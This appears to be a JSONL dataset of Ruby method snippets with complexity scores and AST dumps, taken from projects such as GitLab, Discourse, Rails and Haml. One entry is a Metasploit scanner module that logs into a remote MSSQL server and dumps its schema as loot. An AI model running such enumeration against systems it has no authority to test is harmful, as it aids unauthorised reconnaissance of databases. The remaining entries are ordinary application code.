{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/spec/lib/completions/endpoints/gemini_spec.rb","start_line":35,"raw_source":"def stub_response(prompt, response_text, tool_call: false)\n    WebMock\n      .stub_request(\n        :post,\n        \"https://generativelanguage.googleapis.com/v1beta/models/gemini-pro:generateContent?key=#{SiteSetting.ai_gemini_api_key}\",\n      )\n      .with(body: request_body(prompt, tool_call))\n      .to_return(status: 200, body: JSON.dump(response(response_text, tool_call: tool_call)))\n  end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"prompt\"]},{\"type\":\"arg\",\"children\":[\"response_text\"]},{\"type\":\"kwoptarg\",\"children\":[\"tool_call\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WebMock\"]},\"stub_request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://generativelanguage.googleapis.com/v1beta/models/gemini-pro:generateContent?key=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"ai_gemini_api_key\"]}]}]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"request_body\",{\"type\":\"lvar\",\"children\":[\"prompt\"]},{\"type\":\"lvar\",\"children\":[\"tool_call\"]}]}]}]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"dump\",{\"type\":\"send\",\"children\":[null,\"response\",{\"type\":\"lvar\",\"children\":[\"response_text\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tool_call\"]},{\"type\":\"lvar\",\"children\":[\"tool_call\"]}]}]}]}]}]}]}]}]}","id":"6a612859-1978-444d-86b3-83941e9028db"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/runtime/application_settings.rb","start_line":64,"raw_source":"def admin_api_client\n          @admin_api_client ||= Runtime::API::Client.as_admin\n        rescue API::Client::AuthorizationError => e\n          raise \"Administrator access is required to set application settings. #{e.message}\"\n        end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"admin_api_client\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@admin_api_client\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"API\"]},\"Client\"]},\"as_admin\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"API\"]},\"Client\"]},\"AuthorizationError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Administrator access is required to set application settings. \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]}","id":"3d62f52e-597b-4369-8c0f-536f1d68a4c6"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/action_cable/subscription_adapter/redis.rb","start_line":63,"raw_source":"def config_options\n          @config_options ||= @server.config.cable.deep_symbolize_keys.merge(id: identifier)\n        end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"config_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@config_options\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@server\"]},\"config\"]},\"cable\"]},\"deep_symbolize_keys\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"identifier\"]}]}]}]}]}]}","id":"c87daaf5-3ebd-4dcc-852d-87f9c8f8dbf7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/label.rb","start_line":265,"raw_source":"def as_json(options = {})\n    super(options).tap do |json|\n      json[:type] = self.try(:type)\n      json[:priority] = priority(options[:project]) if options.key?(:project)\n      json[:textColor] = text_color\n    end\n  end","complexity_score":15.5,"ast_json":"{\"type\":\"def\",\"children\":[\"as_json\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"json\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"try\",{\"type\":\"sym\",\"children\":[\"type\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"priority\"]},{\"type\":\"send\",\"children\":[null,\"priority\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"textColor\"]},{\"type\":\"send\",\"children\":[null,\"text_color\"]}]}]}]}]}","id":"a46056c3-9bdd-4def-bf0f-7a7fea67b696"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/sidebars/projects/menus/snippets_menu.rb","start_line":30,"raw_source":"def render?\n          can?(context.current_user, :read_snippet, context.project)\n        end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"render?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_snippet\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"project\"]}]}]}","id":"e09698b5-7d63-4aa0-96bd-66d82caf262e"}
{"repo_name":"haml","file_path":"./repos/haml/lib/haml/parser.rb","start_line":498,"raw_source":"def comment(text)\n      if text[0..1] == '!['\n        revealed = true\n        text = text[1..-1]\n      else\n        revealed = false\n      end\n\n      conditional, text = balance(text, ?[, ?]) if text[0] == ?[\n      text.strip!\n\n      if Util.contains_interpolation?(text)\n        parse = true\n        text = Util.unescape_interpolation(text)\n      else\n        parse = false\n      end\n\n      if block_opened? && !text.empty?\n        raise SyntaxError.new(Haml::Error.message(:illegal_nesting_content), @next_line.index)\n      end\n\n      ParseNode.new(:comment, @line.index + 1, :conditional => conditional, :text => text, :revealed => revealed, :parse => parse)\n    end","complexity_score":38.05,"ast_json":"{\"type\":\"def\",\"children\":[\"comment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[1]}]}]},\"==\",{\"type\":\"str\",\"children\":[\"![\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"revealed\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[-1]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"revealed\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"str\",\"children\":[\"[\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"conditional\"]},{\"type\":\"lvasgn\",\"children\":[\"text\"]}]},{\"type\":\"send\",\"children\":[null,\"balance\",{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"strip!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Util\"]},\"contains_interpolation?\",{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parse\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Util\"]},\"unescape_interpolation\",{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"parse\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_opened?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SyntaxError\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Haml\"]},\"Error\"]},\"message\",{\"type\":\"sym\",\"children\":[\"illegal_nesting_content\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@next_line\"]},\"index\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ParseNode\"]},\"new\",{\"type\":\"sym\",\"children\":[\"comment\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@line\"]},\"index\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conditional\"]},{\"type\":\"lvar\",\"children\":[\"conditional\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"revealed\"]},{\"type\":\"lvar\",\"children\":[\"revealed\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parse\"]},{\"type\":\"lvar\",\"children\":[\"parse\"]}]}]}]}]}]}","id":"d3828e7a-c692-4d69-91e0-da79cbb2683e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/mssql/mssql_schemadump.rb","start_line":32,"raw_source":"def run_host(ip)\n    if session\n      set_mssql_session(session.client)\n    else\n      unless mssql_login_datastore\n        print_error(\"#{datastore['RHOST']}:#{datastore['RPORT']} - Invalid SQL Server credentials\")\n        return\n      end\n    end\n\n    # Grabs the Instance Name and Version of MSSQL(2k,2k5,2k8)\n    instance_info = mssql_query(mssql_enumerate_servername())[:rows][0][0].split('\\\\')\n    instancename = instance_info[1] || instance_info[0]\n\n    print_status(\"Instance Name: #{instancename.inspect}\")\n    version = mssql_query(mssql_sql_info())[:rows][0][0]\n    output = \"Microsoft SQL Server Schema \\n Host: #{mssql_client.peerhost} \\n Port: #{mssql_client.peerport} \\n Instance: #{instancename} \\n Version: #{version} \\n====================\\n\\n\"\n\n    # Grab all the DB schema and save it as notes\n    mssql_schema = get_mssql_schema\n    if mssql_schema.nil? or mssql_schema.empty?\n      print_good output if datastore['DISPLAY_RESULTS']\n      print_warning('No schema information found')\n      return nil\n    end\n    mssql_schema.each do |db|\n      report_note(\n        :host => mssql_client.peerhost,\n        :type => \"mssql.db.schema\",\n        :data => { :database => db },\n        :port => mssql_client.peerport,\n        :proto => 'tcp',\n        :update => :unique_data\n      )\n    end\n    output << YAML.dump(mssql_schema)\n    this_service = report_service(\n      :host => mssql_client.peerhost,\n      :port => mssql_client.peerport,\n      :name => 'mssql',\n      :proto => 'tcp'\n    )\n    store_loot('mssql_schema', \"text/plain\", mssql_client.peerhost, output, \"#{mssql_client.peerhost}_mssql_schema.txt\", \"MS SQL Schema\", this_service)\n    print_good output if datastore['DISPLAY_RESULTS']\n  end","complexity_score":87.03,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"send\",\"children\":[null,\"set_mssql_session\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"client\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mssql_login_datastore\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]},{\"type\":\"str\",\"children\":[\" - Invalid SQL Server credentials\"]}]}]},{\"type\":\"return\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"instance_info\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mssql_query\",{\"type\":\"send\",\"children\":[null,\"mssql_enumerate_servername\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"rows\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"split\",{\"type\":\"str\",\"children\":[\"\\\\\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"instancename\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance_info\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance_info\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Instance Name: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instancename\"]},\"inspect\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mssql_query\",{\"type\":\"send\",\"children\":[null,\"mssql_sql_info\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"rows\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Microsoft SQL Server Schema \\n Host: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mssql_client\"]},\"peerhost\"]}]},{\"type\":\"str\",\"children\":[\" \\n Port: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mssql_client\"]},\"peerport\"]}]},{\"type\":\"str\",\"children\":[\" \\n Instance: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instancename\"]}]},{\"type\":\"str\",\"children\":[\" \\n Version: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\" \\n====================\\n\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mssql_schema\",{\"type\":\"send\",\"children\":[null,\"get_mssql_schema\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mssql_schema\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mssql_schema\"]},\"empty?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DISPLAY_RESULTS\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"lvar\",\"children\":[\"output\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"str\",\"children\":[\"No schema information found\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mssql_schema\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"db\"]}]},{\"type\":\"send\",\"children\":[null,\"report_note\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mssql_client\"]},\"peerhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"mssql.db.schema\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database\"]},{\"type\":\"lvar\",\"children\":[\"db\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mssql_client\"]},\"peerport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"sym\",\"children\":[\"unique_data\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"dump\",{\"type\":\"lvar\",\"children\":[\"mssql_schema\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"this_service\",{\"type\":\"send\",\"children\":[null,\"report_service\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mssql_client\"]},\"peerhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mssql_client\"]},\"peerport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"mssql\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"mssql_schema\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mssql_client\"]},\"peerhost\"]},{\"type\":\"lvar\",\"children\":[\"output\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mssql_client\"]},\"peerhost\"]}]},{\"type\":\"str\",\"children\":[\"_mssql_schema.txt\"]}]},{\"type\":\"str\",\"children\":[\"MS SQL Schema\"]},{\"type\":\"lvar\",\"children\":[\"this_service\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DISPLAY_RESULTS\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"lvar\",\"children\":[\"output\"]}]},null]}]}]}","id":"54d8462a-b246-43d8-bb45-4259bf0beb91"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/work_items/type.rb","start_line":104,"raw_source":"def self.allowed_group_level_types(resource_parent)\n      if Feature.enabled?(:create_group_level_work_items, resource_parent, type: :wip)\n        base_types.keys.excluding('epic')\n      else\n        []\n      end\n    end","complexity_score":5.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"allowed_group_level_types\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resource_parent\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"create_group_level_work_items\"]},{\"type\":\"lvar\",\"children\":[\"resource_parent\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"wip\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_types\"]},\"keys\"]},\"excluding\",{\"type\":\"str\",\"children\":[\"epic\"]}]},{\"type\":\"array\",\"children\":[]}]}]}","id":"eb0cc7d3-4490-4d49-bc79-84bd9f55e4dc"}
{"repo_name":"spree","file_path":"./repos/spree/core/spec/models/spree/stock/package_spec.rb","start_line":12,"raw_source":"def build_inventory_unit\n        build(:inventory_unit, variant: variant, order: order)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"build_inventory_unit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"build\",{\"type\":\"sym\",\"children\":[\"inventory_unit\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"variant\"]},{\"type\":\"send\",\"children\":[null,\"variant\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"send\",\"children\":[null,\"order\"]}]}]}]}]}","id":"1d506359-8ac5-4aa5-bada-dd90e2f64432"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/lib/open_project/bim/bcf_xml/exporter.rb","start_line":37,"raw_source":"def bcf_filename\n      # We often have an internal query name that is not meant\n      # for public use or was given by a user.\n      if query.name.present? && query.name != \"_\"\n        return sane_filename(\"#{query.name}.bcf\")\n      end\n\n      sane_filename(\n        \"#{Setting.app_title} #{I18n.t(:label_work_package_plural)} \\\n        #{format_date(Time.current, format: '%Y-%m-%d')}.bcf\"\n      )\n    end","complexity_score":19.7,"ast_json":"{\"type\":\"def\",\"children\":[\"bcf_filename\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"name\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"name\"]},\"!=\",{\"type\":\"str\",\"children\":[\"_\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sane_filename\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\".bcf\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"sane_filename\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"app_title\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"label_work_package_plural\"]}]}]},{\"type\":\"str\",\"children\":[\"         \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"format_date\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"%Y-%m-%d\"]}]}]}]}]},{\"type\":\"str\",\"children\":[\".bcf\"]}]}]}]}]}","id":"6be22b34-26d1-4042-ad7e-ff589a0a51b0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/issuable.rb","start_line":589,"raw_source":"def hook_reviewer_changes(old_associations)\n    changes = {}\n    old_reviewers = old_associations.fetch(:reviewers, reviewers)\n\n    changes[:reviewers] = [old_reviewers.map(&:hook_attrs), reviewers.map(&:hook_attrs)] if old_reviewers != reviewers\n\n    changes\n  end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"hook_reviewer_changes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"old_associations\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"changes\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"old_reviewers\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_associations\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"reviewers\"]},{\"type\":\"send\",\"children\":[null,\"reviewers\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_reviewers\"]},\"!=\",{\"type\":\"send\",\"children\":[null,\"reviewers\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"changes\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"reviewers\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_reviewers\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"hook_attrs\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reviewers\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"hook_attrs\"]}]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"changes\"]}]}]}","id":"5946f670-a66c-41dc-89ca-eae20ed36647"}
